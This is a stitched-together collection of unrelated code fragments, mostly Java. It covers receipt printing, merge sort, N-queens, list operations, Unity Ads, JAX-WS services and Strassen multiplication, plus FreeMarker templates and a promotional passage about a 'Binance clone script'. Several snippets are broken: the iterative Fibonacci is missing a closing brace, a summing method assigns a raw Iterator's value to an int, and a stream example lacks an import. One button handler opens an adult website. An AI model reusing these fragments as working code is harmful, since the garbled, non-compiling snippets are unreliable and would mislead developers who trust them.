            builder.append("[C]").append(printDetailObj.getCompanyAddress()).append("\n");
        }

        builder.append("[C]").append(vatNrLabel).append(" ").append(printDetailObj.getCompanyVatNumber()).append("\n");
        builder.append("[C]").append(taxAuthLabel).append(" ").append(printDetailObj.getCompanyTaxAuthority()).append("\n");

        if (!TextUtils.isEmpty(printDetailObj.getCompanyWebsite())) {
            builder.append("[C]").append(printDetailObj.getCompanyWebsite()).append("\n");
        }
        if (!TextUtils.isEmpty(printDetailObj.getCompanyEmail())) {
            builder.append("[C]").append(printDetailObj.getCompanyEmail()).append("\n");
        }
        builder.append("[C]<b>").append(printDetailObj.getInvoiceTypeTitle()).append("</b>\n");
        builder.append("[C]").append(printDetailObj.getInvoiceNumber()).append("\n");

        String customerDetailsLabel = mContext.getString(R.string.str_customer_detail);
        String legalNameLabel = mContext.getString(R.string.str_legal_name);
        String activityLabel = mContext.getString(R.string.str_activity);
        String billingAddressLabel = mContext.getString(R.string.str_billing_address);
        String shippingAddressLabel = mContext.getString(R.string.str_shipping_address);
        String telNumberLabel = mContext.getString(R.string.str_mobile_phone);
        String vatNumberLabel = mContext.getString(R.string.str_vat_number);
        String taxAuthorityLabel = mContext.getString(R.string.str_tax_authority);


        builder.append("[C]" + getLineSeparator() + "\n");
        if (printDetailObj.getCustomerDetails() != null) {
            builder.append("[C]<b>" + customerDetailsLabel + "</b>\n");
            builder.append("[C]" + getLineSeparator() + "\n");
            builder.append("[L]<b>" + legalNameLabel + "</b>\n");
            builder.append("[L]").append(printDetailObj.getCustomerDetails().getLegalName()).append("\n");

            if (printDetailObj.getCustomerDetails().getActivity() != null &&
                    printDetailObj.getCustomerDetails().getActivity().length() > 0) {
                builder.append("[L]").append("<b>" + activityLabel + "</b>").append("\n");
                builder.append("[L]").append(printDetailObj.getCustomerDetails().getActivity()).append("\n");
            }

            if (printDetailObj.getCustomerDetails().getBillingAddress() != null &&
                    printDetailObj.getCustomerDetails().getBillingAddress().length() > 0) {
                builder.append("[L]").append("<b>" + billingAddressLabel + "</b>").append("\n");
                builder.append("[L]").append(printDetailObj.getCustomerDetails().getBillingAddress()).append("\n");
            }

            if (printDetailObj.getCustomerDetails().getShippingAddress() != null &&
                    printDetailObj.getCustomerDetails().getShippingAddress().length() > 0) {
                builder.append("[L]").append("<b>" + shippingAddressLabel + "</b>").append("\n");
                builder.append("[L]").append(printDetailObj.getCustomerDetails().getShippingAddress()).append("\n");
            }

            if (!TextUtils.isEmpty(printDetailObj.getCustomerDetails().getMobile())) {
                builder.append("[L]").append("<b>" + telNumberLabel + "</b>").append("\n");
                builder.append("[L]").append(printDetailObj.getCustomerDetails().getMobile()).append("\n");
            }

            if (!TextUtils.isEmpty(printDetailObj.getCustomerDetails().getVatNumber()) ||
                    !TextUtils.isEmpty(printDetailObj.getCustomerDetails().getTaxAuthority())) {
                builder.append("[L]").append("<b>" + vatNumberLabel + " - " + taxAuthorityLabel + " </b>").append("\n");
                builder.append("[L]")
                        .append(printDetailObj.getCustomerDetails().getVatNumber())
                        .append(" - ")
                        .append(printDetailObj.getCustomerDetails().getTaxAuthority())
                        .append("\n");
            }
            builder.append("[C]" + getLineSeparator() + "\n");
        }
        builder.append("[C]<b>").append(printDetailObj.getInvoiceDate()).append("</b>\n");
        builder.append("[C]" + getLineSeparator() + "\n\n");

        return builder.toString();
    }
    private static String getHeaderDataStringReport(PrintCompanyDetail printDetailObj, Float pageSize) {

        StringBuilder builder = new StringBuilder();
        //builder.append("[C]DBA Name" + "\n");
        builder.append("\n");
        builder.append("[C]<b>").append(printDetailObj.getName()).append("</b>\n");
        builder.append("[C]").append(printDetailObj.getLegalName()).append("\n");
        builder.append("[C]").append(printDetailObj.getActivity()).append("\n");

        String branchAddressLabel = mContext.getString(R.string.str_branch_address);
        String mainAddressLabel = mContext.getString(R.string.str_main_address);
        String vatNrLabel = mContext.getString(R.string.str_vat_nr);
        String taxAuthLabel = mContext.getString(R.string.str_tax_auth);

        if (!TextUtils.isEmpty(printDetailObj.getBranchAddress())) {
            builder.append("[C]").append(branchAddressLabel).append("\n");
            builder.append("[C]").append(printDetailObj.getBranchAddress()).append("\n");
        }

        builder.append("[C]").append(mainAddressLabel).append("\n");
        if (!TextUtils.isEmpty(printDetailObj.getAddress())) {
            builder.append("[C]").append(printDetailObj.getAddress()).append("\n");
        }

        builder.append("[C]").append(vatNrLabel).append(" ").append(printDetailObj.getVatNumber()).append("\n");
        builder.append("[C]").append(taxAuthLabel).append(" ").append(printDetailObj.getTaxAuthority()).append("\n");

        if (!TextUtils.isEmpty(printDetailObj.getWebsite())) {
            builder.append("[C]").append(printDetailObj.getWebsite()).append("\n");
        }
        if (!TextUtils.isEmpty(printDetailObj.getEmail())) {
            builder.append("[C]").append(printDetailObj.getEmail()).append("\n");
        }
        builder.append("[C]" + getLineSeparator() + "\n");
        builder.append("[C]<b>").append(printDetailObj.getRegisterName()).append("</b>\n");
        builder.append("[C]" + getLineSeparator() + "\n");

        return builder.toString();
    }

    public static String getLineSeparator() {
        StringBuilder str = new StringBuilder();
        for (int i = 0; i < charactersInLine; i++) {
            str.append("-");
        }
        return str.toString();
    }

    private static String getItemsString(PrintDetails printDetailObj) {
        StringBuilder itemsString = new StringBuilder();

        for (PrintDetailsLineItem lineItem : printDetailObj.getLineItem()) {
            String vatStr = lineItem.getVat();
            itemsString.append("[L]").append("*  ")
                    .append(lineItem.getQuantity())
                    .append(" X ")
                    .append(lineItem.getPrice())
                    //VAT 24
                    .append("[R]").append(lineItem.getVat()).append("%\n");

            itemsString.append("[L]<b>").append(lineItem.getTitle()).append("</b>")
                    .append("[R]<b>").append(lineItem.getTotalWithVAT()).append("</b>\n");

            if (lineItem.isDiscount()) {
                itemsString.append("[L]")
                        .append("-" + lineItem.getDisc() + "% ")
                        .append(lineItem.getDiscAmount()).append("\n");
            }

            if (!TextUtils.isEmpty(lineItem.getNote())) {
                itemsString.append("[L]").append(lineItem.getNote()).append("\n");
            }
            itemsString.append("\n");
        }
        return itemsString.toString();
    }

    private static String getPaymentDetails(PrintDetails printDetailObj) {
        String netAmountLabel = mContext.getString(R.string.net_amount_str);
        String totalLabel = mContext.getString(R.string.str_total);
        String changeLabel = mContext.getString(R.string.str_change);
        StringBuilder builder = new StringBuilder();
        //
        builder.append("[C]" + getLineSeparator() + "\n");
        builder.append("[L]" + netAmountLabel + "[R]€")
                .append(NumberUtil.FormatNumberTwoDecimal(printDetailObj.getNetAmount()))
                .append("\n");
        //
        if (printDetailObj.getTaxes() != null) {
            for (PrintDetailsTax lineItem : printDetailObj.getTaxes()) {
                //[L]VAT 24.00%:[R]€
                builder.append("[L]").append(lineItem.getTitle())
                        .append(":[R]€")
                        .append(lineItem.getAmount())
                        .append("\n");
            }
        }
        //        <font size='tall'>Report</font>
        builder.append("[L]<font size='tall'>" + totalLabel + "</font>[R]<font size='tall'>€")
                .append(NumberUtil.FormatNumberTwoDecimal(printDetailObj.getGrandTotal())).append("</font>\n")
                .append("[C]" + getLineSeparator() + "\n")
                .append("[L]<b>")
                .append(printDetailObj.getPaymentTitle())
                .append(":</b>[R]<b>")
                .append(NumberUtil.FormatNumberTwoDecimal(printDetailObj.getPaymentTotal()))
                .append("</b>\n");

        if (printDetailObj.isShowChange()) {
            builder.append("[L]" + changeLabel + "[R]")
                    .append(printDetailObj.getChangeAmount())
                    .append("\n");
        }
        builder.append("[C]" + getLineSeparator() + "\n");
        return builder.toString();
    }

    private static String getReceiptNotes(PrintDetails printDetailObj) {
        StringBuilder builder = new StringBuilder();
        if (printDetailObj.getReceiptNotes() != null) {

            builder.append("[C]" + getLineSeparator() + "\n")
                    .append("[L]<b>").append(printDetailObj.getReceiptNotes().getNotesLine1()).append("</b>\n");

            if (printDetailObj.getReceiptNotes().getNotesLine2() != null &&
                    printDetailObj.getReceiptNotes().getNotesLine2().length() > 0) {
                builder.append("[L]<b>").append(printDetailObj.getReceiptNotes().getNotesLine2()).append("</b>\n");
            }
            if (printDetailObj.getReceiptNotes().getNotesLine3() != null &&
                    printDetailObj.getReceiptNotes().getNotesLine3().length() > 0) {
                builder.append("[L]<b>").append(printDetailObj.getReceiptNotes().getNotesLine3()).append("</b>\n");
            }
        }
        return builder.toString();
    }

    private static String getBottomNotes(PrintDetails printDetailObj) {

        StringBuilder builder = new StringBuilder();
        builder.append("[C]\n");

        builder.append("[C]<qrcode size='16'>").append(printDetailObj.getQrCodeURL()).append("</qrcode>\n\n");

        builder.append("[L]<b>Mark:</b>").append(" ").append(printDetailObj.getMark()).append("\n")
                .append("[L]<b>UID:</b>").append(" ").append(printDetailObj.getUid()).append("\n")
                .append("[L]<b>Auth:</b>").append(" ").append(printDetailObj.getAuthCode()).append("\n\n")
                .append("[C]Service Provider: SIMPLY CLOUD\n")
                .append("[C]www.simplycloud.gr\n\n");

        if (printDetailObj.getPrintThankMsg() != null &&
                printDetailObj.getPrintThankMsg().length() > 0) {
            builder.append("[L]<b>" + printDetailObj.getPrintThankMsg() + "</b>\n\n");
        }
        builder.append("\n\n\n");

        return builder.toString();
    }
}
import java.io.*;
import java.util.*;

public class Main {

    public static void queensCombinations(int qpsf, int tq, int row, int col, String asf){
        
        if(row == tq){
            if(qpsf == tq)
            System.out.println(asf);
            
            return;
        }
        
        
        
        if(col == tq -1){
            row = row+1;
            col = -1;
            queensCombinations(qpsf + 1, tq , row , col+1 , asf+"q\n");
            queensCombinations(qpsf, tq , row , col+1 , asf+"-\n");
        }
        
        else{
            queensCombinations(qpsf + 1, tq , row , col+1 , asf+'q');
            queensCombinations(qpsf, tq , row , col+1 , asf+'-');
        }
    
    }
    public static void main(String[] args) throws Exception {
        BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
        int n = Integer.parseInt(br.readLine());
        
        queensCombinations(0, n, 0, 0, "");
    }
}
import java.util.*;

public class UnionIntersectionOfTwoListsExample {
	
	public static void main (String[] args) {
		
		List<String> list1 = new ArrayList<String>(Arrays.asList("a","b","c","d","e"));
		List<String> list2 = new ArrayList<String>(Arrays.asList("b","d","f","g"));
		
		//Find union of two lists
		System.out.println("Union of List1 and List2 :" + getUnionOfLists(list1, list2));
		
		//Find intersect of lists using Stream API (Java 8)
		System.out.println("Intersection of List1 & List2 Method 1: " + getIntersectOfLists1(list1, list2));	
				
		//Find intersect of lists using retainAll() method
		System.out.println("Intersection of List1 & List2 Method 2: " + getIntersectOfLists2(list1, list2));	
	}

	private static List<String> getUnionOfLists(List<String> list1, List<String> list2) {
		
		Set<String> set = new HashSet<>();
		set.addAll(list1);
		set.addAll(list2);
		
		return new ArrayList<>(set);
	}

	private static List<String> getIntersectOfLists1(List<String> list1, List<String> list2) {
		List<String> intersectElements = list1.stream().filter(list2 :: contains).collect(Collectors.toList());
		
		if(!intersectElements.isEmpty()) {
			return intersectElements;
		}else {
			return Collections.emptyList();
		}
	}

	private static List<String> getIntersectOfLists2(List<String> list1, List<String> list2) {
		list1.retainAll(list2);
		return list1;
	}

}
private static int somaIterator(List list) {
        Iterator it = list.iterator();
        int soma = 0;
        while (it.hasNext()) {
            int num = it.next();
            if (num % 2 == 0) {
                soma += num;
            }
        }
        return soma;
 }
public static <T> void swap(T[] a, int x, int y) {
    T t=a[x];
    a[x]=a[y];
    a[y]=t;
}

public static <T extends Comparable<? super T>> void mergeInOrder(T[] src, T[] dst, int p1, int p2, int p3, int p4) {
    if (src[p2].compareTo(src[p3])<=0) return; // already sorted!

    // cut away ends
    while (src[p1].compareTo(src[p3])<=0) p1++;
    while (src[p2].compareTo(src[p4])<=0) p4--;

    int i1=p1;
    int i3=p3;
    int di=p1;
    while(di<p4) {
        if (src[i1].compareTo(src[i3])<=0) {
            dst[di++]=src[i1++];
        } else {
            dst[di++]=src[i3++];
            if (i3>p4) {
                System.arraycopy(src,i1,dst,di,p2-i1+1);
                break;
            }
        }
    }

    System.arraycopy(dst, p1, src, p1, (p4-p1)+1);
}

public static <T extends Comparable<? super T>> void mergeSort(T[] src, T[] dst, int start, int end) {
    if (start+1>=end) {
        if (start>=end) return;
        if (src[start].compareTo(src[end])>0) {
            swap(src,start,end);
        }
        return;
    }

    int middle=(start+end)/2;
    mergeSort(src,dst,start, middle);
    mergeSort(src,dst,middle+1, end);
    mergeInOrder(src,dst,start,middle,middle+1,end);
}

private static ThreadLocal<Comparable<?>[]> mergeSortTemp=new ThreadLocal<Comparable<?>[]>();

@SuppressWarnings("unchecked")
public static <T extends Comparable<? super T>> void mergeSort(T[] src) {
    int length=src.length;
    Comparable<?>[] temp=mergeSortTemp.get();
    if ((temp==null)||(temp.length<length)) {
        temp=new Comparable[length*3/2];
        mergeSortTemp.set(temp);
    }
    mergeSort(src,(T[])temp,0,length-1);
}
In order to have a crypto exchange like Binance, the fastest and best way to set up this exchange is to get help from a Binance clone script.
In this article, you can find out what Binance is, what is Binance clone script, what is Binance Clone application development, and what features it has.
Most novice and young entrepreneurs ask why business people always prefer Binance Clone Script as the best way to set up their digital currency exchange like Binance. There are several reasons to choose the Binance clone as the preferred morph. Features and applications of Binance and its proper development can be one of these reasons.
Binance clone script can be exactly what you expect from your exchange. This exchange can support all your desired features. In addition to Binance features, it can add any other feature.
Should we use the Binance Clone script?
If you are thinking of creating a digital currency exchange that should immediately attract an audience, you should choose a Binance clone script encryption trading platform. This is because creating a platform that is familiar with amazing capabilities will be the biggest driver in terms of marketing and scaling. Setting up a trading platform like Binance has several advantages that allow you to reach your business goal faster.
For someone who is interested in the Binance exchange, the best way is to use its clone script. Those who want to expand their business can also reach a very good point of business by expanding the features of exchange.
Features of Binance Clone Script
User-friendly management dashboard: This dashboard helps your users to easily use all your options and do their transactions in the fastest possible time and get their business to the best point.
High security: Ensure the integrated security of your platform so that your traders can trade their assets with confidence. For exchanges, you need to gain their trust.
Two-step authentication: Each security feature can give you a positive rating from your traders. Traders 'authentication also ensures that traders' accounts are secure.
Secure Deposit Wallet Integration: Add wallets to your platform so your traders can keep their assets safe. By keeping the assets, they no longer transfer their money to a wallet outside the exchange. This will be a positive point for you.
Multi-currency support: Like the advanced Binance trader’s exchange in Binance Clone Script, traders can use many digital currencies for their transactions and have a variety in choosing and buying, and selling currencies.
AML / KYC: Confirmation of accounts by an exchange is a very good security feature. Such bubbles are created very securely and only the person as a platform user can log in to their account.
import javax.sound.sampled.AudioSystem;
import javax.sound.sampled.Clip;
import javax.sound.sampled.LineUnavailableException;
import javax.sound.sampled.UnsupportedAudioFileException;
import java.io.File;
import java.io.IOException;

public class SoundPlayer {

    private static SoundPlayer instance;

    private Clip mClip;

    public static SoundPlayer get() {
        if (instance == null) instance = new SoundPlayer();
        return instance;
    }

    private SoundPlayer() {
        final File soundFile = new File("./res/my_sound.wav");

        try {
            mClip = AudioSystem.getClip();
            mClip.open(AudioSystem.getAudioInputStream(soundFile));

        } catch (LineUnavailableException | IOException | UnsupportedAudioFileException e) {
            throw new RuntimeException(e);
        }
    }

    public void playMySound() {
        if (mClip != null) {
            mClip.setMicrosecondPosition(0);     // Reset to the start of the file
            mClip.start();
        }
    }
}
public void playMySound() {
    if (mClip != null) {
        mClip.setMicrosecondPosition(0);     // Reset to the start of the file
        mClip.start();
    }
}
final File soundFile = new File("./res/my_sound.wav");
  
try {
  mClip = AudioSystem.getClip();
  mClip.open(AudioSystem.getAudioInputStream(soundFile));

} catch (LineUnavailableException | IOException | UnsupportedAudioFileException e) {
  throw new RuntimeException(e);
}
print("hello world")
plugins {
    id("com.github.johnrengelman.shadow") version "6.0.0"
}
// Shadow task depends on Jar task, so these will be reflected for Shadow as well
tasks.jar {
    manifest.attributes["Main-Class"] = "org.example.MainKt"
}


//
./gradlew shadowJar
private void listFilesRecursively(File file) {
  if (file.isDirectory()) {
    System.err.printf("Directory %s:%n", file.getAbsoluteFile());
    for (File child : file.listFiles()) {
      listFilesRecursively(child);
    }
  } else {
    System.err.printf("File %s%n", file.getAbsoluteFile());
  }

}

public static void main(String[] args) {
  listFilesRecursively(new File("."));
}
public void resendPlayerPacket(Player receiver, Skin skin, boolean isReset) {

        PacketContainer removeInfo;
        PacketContainer addInfo;
        PacketContainer respawn;
        PacketContainer teleport;

        try {
            EntityPlayer ep = ((CraftPlayer) receiver).getHandle();
            GameProfile gameProfile = ep.getProfile();
            PropertyMap pm = gameProfile.getProperties();
            Property property = pm.get("textures").iterator().next();
            pm.remove("textures", property);
            pm.put("textures", new Property("textures", skin.getValue(), skin.getSignature()));


            EnumWrappers.NativeGameMode gamemode = EnumWrappers.NativeGameMode.fromBukkit(receiver.getGameMode());
            WrappedChatComponent displayName = WrappedChatComponent.fromText(receiver.getPlayerListName());
            PlayerInfoData playerInfoData = new PlayerInfoData(WrappedGameProfile.fromHandle(gameProfile), 0, gamemode, displayName);

            removeInfo = new PacketContainer(PacketType.Play.Server.PLAYER_INFO);
            removeInfo.getPlayerInfoAction().write(0, EnumWrappers.PlayerInfoAction.REMOVE_PLAYER);
            removeInfo.getPlayerInfoDataLists().write(0, Collections.singletonList(playerInfoData));

            addInfo = removeInfo.deepClone();
            addInfo.getPlayerInfoAction().write(0, EnumWrappers.PlayerInfoAction.ADD_PLAYER);

            respawn = createRespawnPacket(receiver, gamemode);

            teleport = createTeleportPacket(receiver.getLocation().clone());
        } catch (ReflectiveOperationException reflectiveEx) {
            reflectiveEx.printStackTrace();
            return;
        }
import java.util.Scanner;
 
class ChkPalindrome
{
   public static void main(String args[])
   {
      String str, rev = "";
      Scanner sc = new Scanner(System.in);
 
      System.out.println("Enter a string:");
      str = sc.nextLine();
 
      int length = str.length();
 
      for ( int i = length - 1; i >= 0; i-- )
         rev = rev + str.charAt(i);
 
      if (str.equals(rev))
         System.out.println(str+" is a palindrome");
      else
         System.out.println(str+" is not a palindrome");
 
   }
}
	
class Solution {
    public String solution(String sentence) {
         String answer = "";
         String sentence_lowerCase = sentence.toLowerCase(); //to lower case alphabet

         String a = "abcdefghijklmnopqrstuvwxyz";
         String[] hits = {};
         //If input length is less than 26 then it can never be complete

        if(sentence_lowerCase.length() < 26)
        {
            return "FALSE";
        }

                for (char ch = 'A'; ch <= 'Z'; ch++)
        {
            if (sentence_lowerCase.indexOf(ch) < 0 && sentence_lowerCase.indexOf((char) (ch + 32)) < 0)
            {
                return "FALSE";
            }
        }
       answer = "perfect";


        return answer;
    }
}
public static String replaceWrongCharsDueToAscii8bit(final String value) {
		StringBuilder newValue = new StringBuilder();
		for (String chr : value.split("")) {
			byte[] bytes = chr.getBytes();

			// " ".getBytes() => [194, 160], but must be " ".getBytes() => [32]
			if (bytes.length == 2 && bytes[0] == (byte) 194 && bytes[1] == (byte) 160)
				chr = " ";

			// "×".getBytes() => [195, 151], convert to "*".getBytes() => [42]
			if (bytes.length == 2 && bytes[0] == (byte) 195 && bytes[1] == (byte) 151)
				chr = "*";

			// "×".getBytes() => [-61, -105], convert to "*".getBytes() => [42]
			if (bytes.length == 2 && bytes[0] == (byte) -61 && bytes[1] == (byte) -105)
				chr = "*";

			// "∗".getBytes() => [226, 136, 151], convert to "*".getBytes() => [42]
			if (bytes.length == 3 && bytes[0] == (byte) 226 && bytes[1] == (byte) 136 && bytes[2] == (byte) 151)
				chr = "*";

			// "−".getBytes() => [226, 136, 146], convert to "-".getBytes() => [45]
			if (bytes.length == 3 && bytes[0] == (byte) 226 && bytes[1] == (byte) 136 && bytes[2] == (byte) 146)
				chr = "-";

			// "−".getBytes() => [-30, -120, -110], convert to "-".getBytes() => [45]
			if (bytes.length == 3 && bytes[0] == (byte) -30 && bytes[1] == (byte) -120 && bytes[2] == (byte) -110)
				chr = "-";

			// "".getBytes() => [-30, -128, -117], convert to "".getBytes => []
			if (bytes.length == 3 && bytes[0] == (byte) -30 && bytes[1] == (byte) -128 && bytes[2] == (byte) -117)
				chr = "";

			// any strange chars with byte codes like => [254...255], convert to ""
			if (bytes.length == 1 && (bytes[0] == (byte) 254 || bytes[0] == (byte) 255))
				chr = "";

			// add new byte code if necessary

			newValue.append(chr);
		}
		return newValue.toString();
	}
go to the project's res folder and delete the duplicated folder 
in my case anydpi folder 
<#assign totalemprate =0>


    
    <#list [1,2,3,4,5] as item>
<#assign totalemprate =totalemprate+item>
  
    
</#list>
${totalemprate}
<#assign use =record.custbody1?eval>
    
    <#list use?keys as prop>
  
    ${use[prop].ur}
</#list> 

      
 
<table class="itemtable" style="width: 100%; margin-top: 10px;"><!-- start items --><#list use?keys as item><#if item_index==0>
<thead>
	<tr>
      
      
	<th colspan="12" style="width: 195px;">&nbsp;</th>
	
	<th align="right" colspan="4" style="width: 67px;">${"a"}</th>
	<th align="right" colspan="4" style="width: 65px;">${"b"}</th>
	
	</tr>
</thead>
</#if><tr>
	<td align="center" colspan="3" line-height="150%" style="width: 61px;">${record.revrecenddate}&nbsp;&nbsp;</td>
  
	
	
	<td align="right" colspan="4" style="width: 67px;">${use[item].ur}</td>
	
	</tr>
	</#list><!-- end items --></table>
<#assign user ={
  "0" : {"EMPLOYEE":"ajay","item":"Test1"},
  "1":{"EMPLOYEE":"fz","item":"newwwwwwwwww"}
 
}  >
<#list user?keys as prop>
  
    ${user[prop].item}
</#list>  
<#assign user ={
  "name" : {"ur":"fz","hi":"value"},"game":{"ur":"fz","hi":"value"}
 
}  >
<#list user?keys as prop>
  
    ${user[prop].hi}
</#list>  
<#list user?keys as prop>
    ${prop} = ${user.get(prop)}
</#list>  
<#list user?keys as prop>
    ${prop} = ${user.get(prop)}
</#list>  
Span pending = new Span("Pending");
pending.getElement().getThemeList().add("badge pill");

Span confirmed = new Span("Confirmed");
confirmed.getElement().getThemeList().add("badge success pill");

Span denied = new Span("Denied");
denied.getElement().getThemeList().add("badge error pill");

Span onHold = new Span("On hold");
onHold.getElement().getThemeList().add("badge contrast pill");
String name = "gasper";
            char character;
            String reversed="";

                for (int i = 0; i < name.length(); i++) {
                        character=name.charAt(i);
                        reversed=character+reversed;
                }
                System.out.println(reversed);
----------------------------------------------------------------------
// first impport
import java.awt.Desktop;
import java.net.URL;

// write (for netbeans button double click on it)
private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {                                         
        try{
        Desktop.getDesktop().browse(new URL("https://www.pornhub.com/").toURI());
        }
        catch(Exception e)
        {}
    }  
import android.app.Activity;
import android.os.Bundle;
import android.util.Log;


import androidx.appcompat.app.AppCompatActivity;


import com.unity3d.ads.IUnityAdsLoadListener;
import com.unity3d.ads.IUnityAdsShowListener;
import com.unity3d.ads.UnityAdsShowOptions;
import com.unity3d.ads.example.R;


import com.unity3d.ads.IUnityAdsInitializationListener;
import com.unity3d.ads.UnityAds;


public class ShowInterstitialAd extends AppCompatActivity implements IUnityAdsInitializationListener  {


  private String unityGameID = "1234567";
  private Boolean testMode = true;
  private String adUnitId = "video";


  private IUnityAdsLoadListener loadListener = new IUnityAdsLoadListener() {
     @Override
     public void onUnityAdsAdLoaded(String placementId) {
        UnityAds.show((Activity)getApplicationContext(), adUnitId, new UnityAdsShowOptions(), showListener);
     }


     @Override
     public void onUnityAdsFailedToLoad(String placementId, UnityAds.UnityAdsLoadError error, String message) {
        Log.e("UnityAdsExample", "Unity Ads failed to load ad for " + placementId + " with error: [" + error + "] " + message);
     }
  };


  private IUnityAdsShowListener showListener = new IUnityAdsShowListener() {
     @Override
     public void onUnityAdsShowFailure(String placementId, UnityAds.UnityAdsShowError error, String message) {
        Log.e("UnityAdsExample", "Unity Ads failed to show ad for " + placementId + " with error: [" + error + "] " + message);
     }


     @Override
     public void onUnityAdsShowStart(String placementId) {
        Log.v("UnityAdsExample", "onUnityAdsShowStart: " + placementId);
     }


     @Override
     public void onUnityAdsShowClick(String placementId) {
        Log.v("UnityAdsExample", "onUnityAdsShowClick: " + placementId);
     }


     @Override
     public void onUnityAdsShowComplete(String placementId, UnityAds.UnityAdsShowCompletionState state) {
        Log.v("UnityAdsExample", "onUnityAdsShowComplete: " + placementId);
     }
  };


  @Override
  protected void onCreate (Bundle savedInstanceState) {
     super.onCreate (savedInstanceState);
     setContentView (R.layout.activity_main);
     // Initialize the SDK:
     UnityAds.initialize(getApplicationContext(), unityGameID, testMode, this);
  }


  @Override
  public void onInitializationComplete() {
     DisplayInterstitialAd();
  }


  @Override
  public void onInitializationFailed(UnityAds.UnityAdsInitializationError error, String message) {
     Log.e("UnityAdsExample", "Unity Ads initialization failed with error: [" + error + "] " + message);
  }


// Implement a function to load an interstitial ad. The ad will start to show once the ad has been loaded.
  public void DisplayInterstitialAd () {
     UnityAds.load(adUnitId, loadListener);
  }
}
class FormBasedBasicAuthenticationEntryPoint extends BasicAuthenticationEntryPoint {
    public FormBasedBasicAuthenticationEntryPoint() {
        this("Realm");
    }

    public FormBasedBasicAuthenticationEntryPoint(String realmName) {
        setRealmName(realmName);
    }

    @Override
    public void commence(HttpServletRequest request, HttpServletResponse response, AuthenticationException authException) throws IOException {
        response.addHeader("WWW-Authenticate", "FormBased");
        response.sendError(HttpStatus.UNAUTHORIZED.value(), HttpStatus.UNAUTHORIZED.getReasonPhrase());
    }
}
public class Recursive {

    // fibonacci recursive
    public static int fibonacciRecursion( int nthNumber) {
        if (nthNumber == 0) { //base case
            return 0;
        } else if (nthNumber == 1) { //base case
            return 1;
        } //recursive call
        return fibonacciRecursion(nthNumber - 1) + fibonacciRecursion(nthNumber - 2);
    }
    
    // fibonacci iterative
    public static int fibonacci(int n) {
        if (n <= 1) {
            return n;
        int number=1;
        int prevNumber=1;
        for (int i = 2; i < n; i++) {
            int temp = number;
            number += prevNumber;
            prevNumber = temp;
        }
        return number;
    }
}

System.out.println("Fibonacci Recursion: " + Recursive.fibonacciRecursion(10));
System.out.println("Fibonacci Iteration: " + Recursive.fibonacci(10));
String[] cars = {"Volvo", "BMW", "Ford", "Mazda"};
//TimeClient.java

package MSCCS.Shiv21;
import javax.xml.namespace.QName;
import javax.xml.ws.Service;
import java.net.URL;
class TimeClient
{public static void main(String[] args)throws Exception
   {URL url=new URL("http://127.0.0.1:9876/one?wsdl");
QName qname=new QName("http://Shiv21.MSCCS/","TimeServerImplService");
Service service=Service.create(url,qname);
TimeServer eif=service.getPort(TimeServer.class);
System.out.println(eif.getTimeAsString());
System.out.println(eif.getTimeAsElapsed());}}

//TimeServer.java

package MSCCS.Shiv21;
import javax.jws.WebService;
import javax.jws.WebMethod;
import javax.jws.soap.SOAPBinding;
import javax.jws.soap.SOAPBinding.Style;
@WebService
@SOAPBinding(style=Style.RPC)
public interface TimeServer
{@WebMethod String getTimeAsString();
@WebMethod long getTimeAsElapsed();
}

////TimeServerImpl.java

package MSCCS.Shiv21;
import java.util.Date;
import javax.jws.WebService;
@WebService(endpointInterface="MSCCS.Shiv21.TimeServer")
public class TimeServerImpl
{public String getTimeAsString()
{return new Date().toString();}
public long getTimeAsElapsed()
{return new Date().getTime();}}

////TimeServerPublisher.java

package MSCCS.Shiv21;
import javax.xml.ws.Endpoint;
public class TimeServerPublisher
{public static void main(String[] args)
{Endpoint.publish("http://127.0.0.1:9876/one?wsdl",new TimeServerImpl());}}


/*

CMD 1:

D:MSCCS/Shiv21>javac *.java
D:> java MSCCS.Shiv21.TimeServerPublisher

CMD-2

D:>java MSCCS.Shiv21.TimeClient

*/
////StrassenServerImpl.java

package Ex01.strassen;

import javax.jws.WebService;

@WebService(endpointInterface = "Ex01.strassen.StrassenServer")
public class StrassenServerImpl implements StrassenServer {
    public int[][] multiply(int[][] A, int[][] B) {
        int n = A.length;
        int[][] R = new int[n][n];
        if (n == 1)
            R[0][0] = A[0][0] * B[0][0];
        else {
            int[][] A11 = new int[n / 2][n / 2];
            int[][] A12 = new int[n / 2][n / 2];
            int[][] A21 = new int[n / 2][n / 2];
            int[][] A22 = new int[n / 2][n / 2];
            int[][] B11 = new int[n / 2][n / 2];
            int[][] B12 = new int[n / 2][n / 2];
            int[][] B21 = new int[n / 2][n / 2];
            int[][] B22 = new int[n / 2][n / 2];
            split(A, A11, 0, 0);
            split(A, A12, 0, n / 2);
            split(A, A21, n / 2, 0);
            split(A, A22, n / 2, n / 2);
            split(B, B11, 0, 0);
            split(B, B12, 0, n / 2);
            split(B, B21, n / 2, 0);
            split(B, B22, n / 2, n / 2);
            int[][] M1 = multiply(add(A11, A22), add(B11, B22));
            int[][] M2 = multiply(add(A21, A22), B11);
            int[][] M3 = multiply(A11, sub(B12, B22));
            int[][] M4 = multiply(A22, sub(B21, B11));
            int[][] M5 = multiply(add(A11, A12), B22);
            int[][] M6 = multiply(sub(A21, A11), add(B11, B12));
            int[][] M7 = multiply(sub(A12, A22), add(B21, B22));
            int[][] C11 = add(sub(add(M1, M4), M5), M7);
            int[][] C12 = add(M3, M5);
            int[][] C21 = add(M2, M4);
            int[][] C22 = add(sub(add(M1, M3), M2), M6);
            join(C11, R, 0, 0);
            join(C12, R, 0, n / 2);
            join(C21, R, n / 2, 0);
            join(C22, R, n / 2, n / 2);
        }
        return R;
    }

    public int[][] sub(int[][] A, int[][] B) {
        int n = A.length;
        int[][] C = new int[n][n];
        for (int i = 0; i < n; i++)
            for (int j = 0; j < n; j++)
                C[i][j] = A[i][j] - B[i][j];
        return C;
    }

    public int[][] add(int[][] A, int[][] B) {
        int n = A.length;
        int[][] C = new int[n][n];
        for (int i = 0; i < n; i++)
            for (int j = 0; j < n; j++)
                C[i][j] = A[i][j] + B[i][j];
        return C;
    }

    public void split(int[][] P, int[][] C, int iB, int jB) {
        for (int i1 = 0, i2 = iB; i1 < C.length; i1++, i2++)
            for (int j1 = 0, j2 = jB; j1 < C.length; j1++, j2++)
                C[i1][j1] = P[i2][j2];
    }

    public void join(int[][] C, int[][] P, int iB, int jB) {
        for (int i1 = 0, i2 = iB; i1 < C.length; i1++, i2++)
            for (int j1 = 0, j2 = jB; j1 < C.length; j1++, j2++)
                P[i2][j2] = C[i1][j1];
    }
